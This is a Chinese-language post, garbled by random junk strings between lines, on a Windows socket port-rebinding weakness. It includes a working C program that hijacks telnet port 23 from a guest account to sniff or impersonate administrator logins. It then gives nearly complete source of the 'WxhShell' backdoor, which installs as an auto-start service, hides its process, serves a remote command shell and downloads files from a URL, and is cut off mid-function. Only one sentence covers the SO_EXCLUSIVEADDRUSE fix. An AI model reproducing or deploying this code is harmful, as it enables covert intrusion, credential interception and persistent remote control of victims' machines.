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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zA%YaekJ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D\:dn 3Pu8IXW saddr.sin_family = AF_INET; ` ~w|Xz 1NAGGr00 saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fqt,VED jJY{np bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l4s*+H$vd? jKh:}yl4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }_/]f!] xzi_u.iOP 这意味着什么?意味着可以进行如下的攻击: $e~MKLd N#``(a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?rm3Iac0S _:N= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eOoqH$
i K`=9"v'f+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HVJqDF &\>=4)HB; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 {MRXKnm;e zRU9Q2Y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d*YVk{s7V T,a71"c 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '[Sm w'n6- |}7!'f\M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M zFFWk DsB30 #include 57fl<IM #include z!M # #include I4|LD/b #include jn
5v DWORD WINAPI ClientThread(LPVOID lpParam); eJ*u]GH U int main() t$Bu<frQ { `q9n`h1 WORD wVersionRequested; }qw->+nD DWORD ret; A"B#t" WSADATA wsaData; MY60% BOOL val; eRqPZb"6MR SOCKADDR_IN saddr; J$W4AT SOCKADDR_IN scaddr; s=e`}4 int err; %G|Rb MP SOCKET s; jY2mn" .N SOCKET sc; z`qb>Y"xf3 int caddsize; Gx7bV}&PN HANDLE mt; UX2@eyejQ7 DWORD tid; V3%
>TNp wVersionRequested = MAKEWORD( 2, 2 ); ;^TSla+t+ err = WSAStartup( wVersionRequested, &wsaData ); 6b7c9n Z if ( err != 0 ) { y>#_LhTX- printf("error!WSAStartup failed!\n"); *@ { return -1; zviTGhA } /1v:eoF; saddr.sin_family = AF_INET; _l"=#i@L rB|1<jR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pO/vD~C> fN1b+d~*6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /-knqv saddr.sin_port = htons(23); 6HguZ_jC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) soRYM { DfU]+;AE printf("error!socket failed!\n"); x5Ue"RMl+ return -1; :GN++\1pw } Z2L7US- val = TRUE; MQQQaD:v //SO_REUSEADDR选项就是可以实现端口重绑定的 v.-r %j{I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D^QL.Du, { K'}I?H~P_ printf("error!setsockopt failed!\n"); .kU}x3m return -1; U(PW$\l } oTRidG //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (rc7Cp3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W}y)vrL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c1q; S
n<X if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m68>` { B^!-%_q ret=GetLastError(); -e_|^T" printf("error!bind failed!\n"); QH,Fw$1 return -1; ym p
ik.' } .l hS listen(s,2); ,1g_{dMx while(1) |ZM>UJ { aX~Jk >a0 caddsize = sizeof(scaddr); 76o3Sge: //接受连接请求 7|o!v);uR sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k*u6'IKi.4 if(sc!=INVALID_SOCKET) a)4%sX*I
{ .EPv4[2%F8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :L {*B$c if(mt==NULL) b9ud8wLE[ { Uqz.Q\A printf("Thread Creat Failed!\n"); ?yxQs=&-q~ break; )@p?4XsT4J } .R@s6}C`}= } Q_Br{
`c CloseHandle(mt); kdWUz( } <$@I*xk[ closesocket(s); ,N_/J4Us WSACleanup(); wMw}3qX$j return 0; <@# g2b } }VRl L>HAC DWORD WINAPI ClientThread(LPVOID lpParam) oB%_yy+ { |VzXcV-"8) SOCKET ss = (SOCKET)lpParam; $bD`B'5 SOCKET sc; ::+;PRy_E unsigned char buf[4096]; DSRmFxkk SOCKADDR_IN saddr; f`KO#Wc long num; (/0dtJ DWORD val; Q lA?dXQ DWORD ret; 5HsF# //如果是隐藏端口应用的话,可以在此处加一些判断 ,a?oGi //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ^Zp saddr.sin_family = AF_INET; j74hWz+p4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q% d1O saddr.sin_port = htons(23); m[(_fOd if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BG8/ { E]8uj8K3] printf("error!socket failed!\n"); Ch3MwM5] return -1; 9=j)g } _Rb2jq(&0 val = 100; ML MetRP if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &XdTY + { Q-!gO ret = GetLastError(); wx[m-\ return -1; ~#4FL<W } 8MI8~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mo<q(_ZeRP { c_CVZR? ret = GetLastError(); g~b$WV% return -1; Bu&9J(J1 } $=Ns7Sbup if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @tPr\F { c{dabzLy printf("error!socket connect failed!\n"); ;BqCjS%`N closesocket(sc); n((A:b closesocket(ss); 6D[]Jf,9 return -1; >MKj~Ud } zH Z;Y^{+ while(1) %LzARTX { w~'}uh //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }3 _b%{ //如果是嗅探内容的话,可以再此处进行内容分析和记录 a$h^<D
^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
mhX66R num = recv(ss,buf,4096,0); WR`NISSp if(num>0) (hdu+^Qj= send(sc,buf,num,0); cC>Svf[CzK else if(num==0) jI0gf&v8 break; c|`$
h num = recv(sc,buf,4096,0); }IZw6KiN if(num>0) *Ow2,{Nn send(ss,buf,num,0); W;cYg.W2 else if(num==0) tk*-Cx?_ break; Ncsh{. } ;9WUt,R closesocket(ss); <xF]ca closesocket(sc); },#7 return 0 ; p}h.2)PO } rX /' +&S6se4 x~R,rb
========================================================== ;1PJS_@rX pqb`g@ 下边附上一个代码,,WXhSHELL ;3wO1'= $H[q5(_~ ========================================================== 5O d]rE p4MWX12 #include "stdafx.h" ZZZ9C#hK^9 b=xn(HE8| #include <stdio.h> $,]U~7S #include <string.h> +0z7}u\x #include <windows.h> /5/gnpC #include <winsock2.h> &Jb\}c} #include <winsvc.h> &^DVSVqs^ #include <urlmon.h> TwI s_r: #=S^i[K/ #pragma comment (lib, "Ws2_32.lib") ;*t#:U* #pragma comment (lib, "urlmon.lib") $-Ex
g*i }zf!mlk #define MAX_USER 100 // 最大客户端连接数 &mmaoWR #define BUF_SOCK 200 // sock buffer 2nC,1%kxhq #define KEY_BUFF 255 // 输入 buffer rIJPgF
UWqD)6 #define REBOOT 0 // 重启 A]5];c #define SHUTDOWN 1 // 关机 YS){N=g&' ^i Jyo&I #define DEF_PORT 5000 // 监听端口 A] 'jsv!+ ,!@ MLn #define REG_LEN 16 // 注册表键长度 &Q;sbI} #define SVC_LEN 80 // NT服务名长度 $C5*@`GM$ 2vLun
// 从dll定义API 72"H#dy%U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;h+~xxu=X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |u^S}"@3sU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =t)qy5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eh<mJL%T :&TM0O // wxhshell配置信息 aK
-x{ struct WSCFG { C$PS@4'U int ws_port; // 监听端口 'UWkJ2:! char ws_passstr[REG_LEN]; // 口令 {9}CU~R int ws_autoins; // 安装标记, 1=yes 0=no (@5`beEd char ws_regname[REG_LEN]; // 注册表键名 (^y"'B char ws_svcname[REG_LEN]; // 服务名 OVDuF&0 char ws_svcdisp[SVC_LEN]; // 服务显示名 `MuX/[q char ws_svcdesc[SVC_LEN]; // 服务描述信息 65qqs|&w;[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _Iav2=0Wi int ws_downexe; // 下载执行标记, 1=yes 0=no ^ex\S8j char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" -ycYQ~R char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mc8Q2eQat} th[v"qD9G }; ty.$H24 k:run2K // default Wxhshell configuration w/ rQOHV{ struct WSCFG wscfg={DEF_PORT, 0>7Ij7\[8 "xuhuanlingzhe", CAC4A 1, n.2:fk "Wxhshell", `}#rcDK "Wxhshell", lMGO4U[z "WxhShell Service", \8QOZjy "Wrsky Windows CmdShell Service", ?l?l<`sTO "Please Input Your Password: ", =3-?$ 1, 5kTs7zJ^ " http://www.wrsky.com/wxhshell.exe", G/Sp/I<d "Wxhshell.exe" JOY&YA$U }; XyE$0i~t ^ZQMRNP{r // 消息定义模块 *}lLV.+A char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "Mj#P9 char *msg_ws_prompt="\n\r? for help\n\r#>"; Ge-Bk)6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; !Z:XSF[T char *msg_ws_ext="\n\rExit."; ^wd@mWxx char *msg_ws_end="\n\rQuit."; Lo!hyQ) char *msg_ws_boot="\n\rReboot..."; ?PMbbqa0 char *msg_ws_poff="\n\rShutdown..."; +`k30-<P char *msg_ws_down="\n\rSave to "; 3PU_STSix /"?DOsJ. char *msg_ws_err="\n\rErr!"; `hj,rF+4 char *msg_ws_ok="\n\rOK!"; yj&GJuNb~ f|q/2}Bqb char ExeFile[MAX_PATH]; >jAFt_ int nUser = 0; XlU\D}zS HANDLE handles[MAX_USER]; "Esl I int OsIsNt; K$h\<_V FefroaJ:u SERVICE_STATUS serviceStatus; } jJKE SERVICE_STATUS_HANDLE hServiceStatusHandle; "UMaZgI [A84R04_% // 函数声明 n>y,{"J{ int Install(void); R#4l" int Uninstall(void); 1$vG Q int DownloadFile(char *sURL, SOCKET wsh); OA3J(4!"W int Boot(int flag); MZ,1 mR void HideProc(void); b`#YJpA int GetOsVer(void); ,7&\jET5^0 int Wxhshell(SOCKET wsl); (V6bX]< void TalkWithClient(void *cs); I!Z`'1" int CmdShell(SOCKET sock); BjvQ6M{Y"+ int StartFromService(void); ~hvj3zC5xz int StartWxhshell(LPSTR lpCmdLine); ~k?rP}>0 05FGfnq.8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S"h;u=5it VOID WINAPI NTServiceHandler( DWORD fdwControl ); r$={_M$
JFm@jc // 数据结构和表定义 c}qpmW F SERVICE_TABLE_ENTRY DispatchTable[] = W|>jj$/o { QLO;D)fC {wscfg.ws_svcname, NTServiceMain}, NLMvi!5w, {NULL, NULL} ,w#lUgp }; R}0gIp= R|\eBnfI // 自我安装 hD
~/ywS& int Install(void) _f%s] { /@ @F
nQ++ char svExeFile[MAX_PATH]; M
co:eE HKEY key; ;pW8a? strcpy(svExeFile,ExeFile); M[mYG _{J |"SZpx // 如果是win9x系统,修改注册表设为自启动 +QFKaS<sn if(!OsIsNt) { !+PrgIp> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ISpV={$Zd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NlEyT9 RegCloseKey(key); ~{Iw[,MJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZR}v_]l^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eA!Z7 ' RegCloseKey(key); .A< HM} return 0; Og7yT{h_ } AhF@ } <J;O$S } 3$!QP
N else { #Zm`*s` <=7nTcO~ // 如果是NT以上系统,安装为系统服务 TRi# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <\^o if (schSCManager!=0) crIF5^3Yby { JU>~[yAP SC_HANDLE schService = CreateService @n)?=[p ( / 3N2?zS{ schSCManager, ~JL
qh wscfg.ws_svcname, _VT{2`|}) wscfg.ws_svcdisp, 5qnei\~ SERVICE_ALL_ACCESS, Mgw#4LU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7p.8{zQ* SERVICE_AUTO_START, }U_^zQfaj SERVICE_ERROR_NORMAL, }+ KM"+@$< svExeFile, u;q
Q/Ftb NULL, B46:LQ9[ NULL, <
c^'$ NULL, 2.Vrh@FNRo NULL, bPOPoq1# NULL fS4foMI63) ); }h;Z_XF& if (schService!=0) G!I++M" { ` 7iA?; CloseServiceHandle(schService); %Y ZCdS CloseServiceHandle(schSCManager); fxcE1=a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F-3=eKZ strcat(svExeFile,wscfg.ws_svcname); *1dZs~_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !}*vM@)1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1-p#}VX RegCloseKey(key); SSF:PTeG> return 0; t08U9`w } MM32\}Y6 } M$EF 8 CloseServiceHandle(schSCManager); UmVn: a } ,9ueHE } "QOQ PL=v,NB return 1; vb~%u;zrC@ } ;&j'`tP >k"O3Pc@ // 自我卸载 }SSg>.48w int Uninstall(void) ~},H+A!? { >V(C>^%-> HKEY key; R9A:"sJ 2@a'n@- if(!OsIsNt) { KJT N"hF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T/|!^qLF RegDeleteValue(key,wscfg.ws_regname); \2/X$x<?X RegCloseKey(key); _ooHB>sH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wetu.aMp RegDeleteValue(key,wscfg.ws_regname); gaXo)o S RegCloseKey(key); i`@cVYsL return 0; la{?&75] } = cxO@Fu } U[pHT _U } J0IKI,X. else { _W(xO
|,M Nt8"6k_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \*CXXp` if (schSCManager!=0) -"xAeI1+ { hXI[FICQU{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 85#
3|5n if (schService!=0) -`q!mdA2 { 2tK~]0x if(DeleteService(schService)!=0) { l^R:W#*+U CloseServiceHandle(schService); [Z/P[370 CloseServiceHandle(schSCManager); h's[)
t return 0; AIOGa<^ } @].s^ss9_ CloseServiceHandle(schService); b$Hbo;_ } P7}w^#x CloseServiceHandle(schSCManager); w-WAgAch } k`>qb8, } R,D/:k'~k '~b return 1; Ut~YvWc9 } 49E|
f
^q {@KLN< // 从指定url下载文件 ruagJS)+ int DownloadFile(char *sURL, SOCKET wsh) kVtP~ { *P
*.'XM HRESULT hr; ~W>{Dd(J_ char seps[]= "/"; ~*EipxhstJ char *token; a)2l9 char *file; D7pQWlN\ char myURL[MAX_PATH]; Y_*KAr'{P char myFILE[MAX_PATH]; @GAj%MK$ 'dwsm7Xd strcpy(myURL,sURL); 5L6.7}B token=strtok(myURL,seps); $!G|+OuTR while(token!=NULL) umPnw {
[uqr file=token; i/!{k2 token=strtok(NULL,seps); ){GJgk|P } 51s\)d%l rs4:jS$) GetCurrentDirectory(MAX_PATH,myFILE); >%6j -:S strcat(myFILE, "\\"); # d"M(nt strcat(myFILE, file); 0 F8xS8vK+ send(wsh,myFILE,strlen(myFILE),0); o7we'1(O send(wsh,"...",3,0); im<!JMI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C|H`.|Q if(hr==S_OK) vH6(p(l return 0; >7a
ENKOg: else fPN/Mxu return 1; %zc.b G{.=27 } 7oLl RU <2j$P Y9 // 系统电源模块 5Qg*j/z? int Boot(int flag) nS$4[!0 { b7xOm"X,N HANDLE hToken; >*/
|tL TOKEN_PRIVILEGES tkp; f(}&8~ & \W_ Dz*N if(OsIsNt) { ++w{)Io Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~+ae68{p LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aU +uPP tkp.PrivilegeCount = 1; \zVp8MMf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eiOAbO#U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6/QWzw.0c if(flag==REBOOT) { hDJ+Rk@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wsd_RT }ww return 0; oVuIHb0w } 5Mxl({oI] else { cJT_Qfxx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) % \v return 0; 4myikeUR_ } 5Q}HLjG8Z } !b K;/) else { #/(L.5d[ if(flag==REBOOT) { 6UN{Vjr%` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (q7;/n return 0; N<(rP1)`v } T8LvdzS else { kVWrZ>McK if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '#K~hep return 0; $m.'d*e5 } JKYtBXOl } k?pNmKVJM K:4G(?w return 1; T?n [1%K } P'5Lu DS|x*w'I // win9x进程隐藏模块 7}=MVp] )S void HideProc(void) ENYc.$r { w0>5#jq#r AnsJ3C HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6(Cjak+~! if ( hKernel != NULL ) `ER#S_} { kyB>]2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,=ju^_^sA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Odt<WG FreeLibrary(hKernel); ]~m=b`o } 5=poe@1g `EP-Qlm return; N:^4OnVR } 00W_XhJ }D~m%%, // 获取操作系统版本 &@&^k$du8q int GetOsVer(void) [eF|2: { Y% [H: OSVERSIONINFO winfo; E&vCzQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CZv^,O(M?2 GetVersionEx(&winfo); "g!/^A!! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9zehwl]~ return 1; kx0w?A8- else kvN6K6 return 0; S@L%X<Vm } IgF#f%|Q >vfLlYx // 客户端句柄模块 |Pse=_i int Wxhshell(SOCKET wsl) n 8| { %eu_Pr 6X SOCKET wsh; e+MsFXnB8 struct sockaddr_in client; .fzns20u DWORD myID; Yj>\WH toox`| while(nUser<MAX_USER) l~`JFWur] { \ ]h$8JwV int nSize=sizeof(client); 3A b_Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^F"eHUg if(wsh==INVALID_SOCKET) return 1; 6:TA8w| p_sqw~)^% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^\PNjj*C i if(handles[nUser]==0) `? f sU closesocket(wsh); TsRbIq[
else R<>uCF0 nUser++; YH[HJ#:7r }
PurY_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cmLI!"RLe 0[OlJMVf return 0; TP/bPZY } "k7C 52Q~` t7F // 关闭 socket Fo|
rRI2 void CloseIt(SOCKET wsh) kh*td(pfP9 { FwSV
\N+#' closesocket(wsh); QtqE&j nUser--;
2Y9@[ ExitThread(0); W QyMM@# } }Mh`j$ *7/MeE6)i // 客户端请求句柄 M#]URS2h<O void TalkWithClient(void *cs) [%7oq;^J { ) ]]PhGX~ cNRe > SOCKET wsh=(SOCKET)cs; P?U}@U~9 char pwd[SVC_LEN]; Ru`7Xd. char cmd[KEY_BUFF]; oO,"B8a char chr[1]; jowR!rqf int i,j; &
Mf nH ~D Ta%J while (nUser < MAX_USER) { QcDtZg\ 8J#TP7; if(wscfg.ws_passstr) { HFf9^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ![@\p5-e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )pt#Pu
//ZeroMemory(pwd,KEY_BUFF); NY~y:*:Q i=0; ehYGw2 while(i<SVC_LEN) { []eZO_o6j GI*2*m!u // 设置超时 h]okY49hY fd_set FdRead; *}`D2_uP struct timeval TimeOut; vJ!<7 l& FD_ZERO(&FdRead); *Ry
"`" FD_SET(wsh,&FdRead); 5},kXXN{+ TimeOut.tv_sec=8; $P~Tt 4068 TimeOut.tv_usec=0; 3MFb\s&Fq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IDv|i.q3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r*s)T`T}} |h1Y3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lw 9rf4RF pwd =chr[0]; cY\"{o"C if(chr[0]==0xd || chr[0]==0xa) { i/WiSwh: pwd=0; 8Ow0A break; XB-l[4? } be{t yV
i++; < {dV= } naKB2y]l 0(dXU\Y // 如果是非法用户,关闭 socket 5 l(Q#pSX if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n*fsdo~ } 5;-?qcb^w f)K1j{TZ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8a4&}^| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rY&Y58./ .9;wJ9Bw[ while(1) { 5%Q[X
k%?A=h ZeroMemory(cmd,KEY_BUFF); eMC0
)B %]i("21 // 自动支持客户端 telnet标准 u9%)_Q!14 j=0; }7jg>3ng( while(j<KEY_BUFF) { %phv <AW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nt'u;0 cmd[j]=chr[0]; 5hbQUF
,Q if(chr[0]==0xa || chr[0]==0xd) { Syj7K*,%bZ cmd[j]=0; O(QJiS break; |CFTOe\q } DR6 OR B7 j++; x,SzZ)l-9 } 0<T/P+| wsNM'~( // 下载文件 UA}oOteG if(strstr(cmd,"http://")) { -=D6[DjU< send(wsh,msg_ws_down,strlen(msg_ws_down),0); d4zqLD$A if(DownloadFile(cmd,wsh)) 55T c send(wsh,msg_ws_err,strlen(msg_ws_err),0); c,I|O'
&k else cU'^
Ja?% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C6C7*ks } Z,osdF else { |YAnd=$ f#9\&-he0 switch(cmd[0]) { h0fbc;l GM<r{6Qy // 帮助 FWbA+{8 case '?': { _=eeZ4f send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G}b LWA break; J<{@D9r9<~ } l1qWl // 安装 a_0G4@=T case 'i': { isP4*g&%x if(Install()) a~F`{(Q2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); woqP&8a else wz P")}[0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lU<n Wf break; `n!<h,S'2 } #Mz N7 // 卸载 >@BvyZ)i case 'r': { jpCQ2 XD: if(Uninstall()) .Lk2S "+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); )'RLK4l else zF[>K4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Cjb|f3'i} break; W%=b|6E } >aZ$x/U+Iw // 显示 wxhshell 所在路径 `8 Dgk} case 'p': { y^oSVj char svExeFile[MAX_PATH]; |h,aV(Q strcpy(svExeFile,"\n\r"); 04wmN strcat(svExeFile,ExeFile); y8KJoVPiM send(wsh,svExeFile,strlen(svExeFile),0); ci^+T * break; !.'@3-w] } |'2E'?\/x // 重启 P2`!)teN case 'b': { ~ 0x9`~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V}>0r+NL< if(Boot(REBOOT)) `~"l a>} send(wsh,msg_ws_err,strlen(msg_ws_err),0); &zF1&J58z else { 7
C5m#e3 closesocket(wsh); ~pqp` ExitThread(0); Z;_WU } oh5fNx break; \DE`tkV8 } j_?U6$xi // 关机 k.DDfuKN case 'd': { uSs~P%@6| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GJA3 if(Boot(SHUTDOWN)) c4R6E~S send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^AUmIyf_ else { [Uezi1I closesocket(wsh); PF1m :Iz`d ExitThread(0); {}ZQK } A}b<Lg break; otXB:a } (s,*soAN // 获取shell /R< Q~G|\ case 's': { ipEsR/O CmdShell(wsh); @Zs}8YhC closesocket(wsh); $b#"Rv ExitThread(0); h!f7/)|[o break; j+n1k^jC } 7:1c5F~M // 退出 1X/
q7lR case 'x': { e/WR\B'1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J*8fGR% CloseIt(wsh); i8nCTW break; \)ac,i@fy } ?Ee HeN_ // 离开 n2R{$^JxO case 'q': { NwmO[pt+ send(wsh,msg_ws_end,strlen(msg_ws_end),0); gUCv#: closesocket(wsh); ,c6ID|\ WSACleanup(); oSt-w{! exit(1); P'Jw: )k( break; .3,s4\.kT } f;6a4<bz } J%3%l5/ } Z^AACKME i` Es7 } // 提示信息 }`yIO"{8n if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MOyQ4<_ } un[Z$moN" } lhx6+w L^VG?J
return; <!&&Qd-d6H } DL2gui3
;KmSz 1A // shell模块句柄 POc<
G^ int CmdShell(SOCKET sock) "7RQrz { '?_;s9) STARTUPINFO si; gQ*0Mk ZeroMemory(&si,sizeof(si)); r9G<HKl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `7Ni bZX0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dKw*L|5 PROCESS_INFORMATION ProcessInfo; . #;ZM[v char cmdline[]="cmd"; 0vUX^< CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7
#_{UJ% return 0; x9
<cT' } 9S.Uo[YY pSASMc@ // 自身启动模式 }@}jwi)l int StartFromService(void) @q2Yka { Ud:v3"1 typedef struct rZ1${/6 { OUe@U;l{Z DWORD ExitStatus; yjpV71!M DWORD PebBaseAddress; H__9%p# DWORD AffinityMask; ;]MHU/ DWORD BasePriority; m"~$JA u ULONG UniqueProcessId; cxrUk$f ULONG InheritedFromUniqueProcessId; 5FnWlFc } PROCESS_BASIC_INFORMATION; ]~ )FMWQz- ld4QhZia PROCNTQSIP NtQueryInformationProcess; I1
j-Q8 R\MM2_I static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N/Z3 EF_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A--Hg-N| YQiTx)_ HANDLE hProcess; VLc=!W} PROCESS_BASIC_INFORMATION pbi; mTW0_!. $TL~SVHj;{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DTt/nmKAqJ if(NULL == hInst ) return 0; #~q{6()e: mKPyM<Q g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L\5j"]
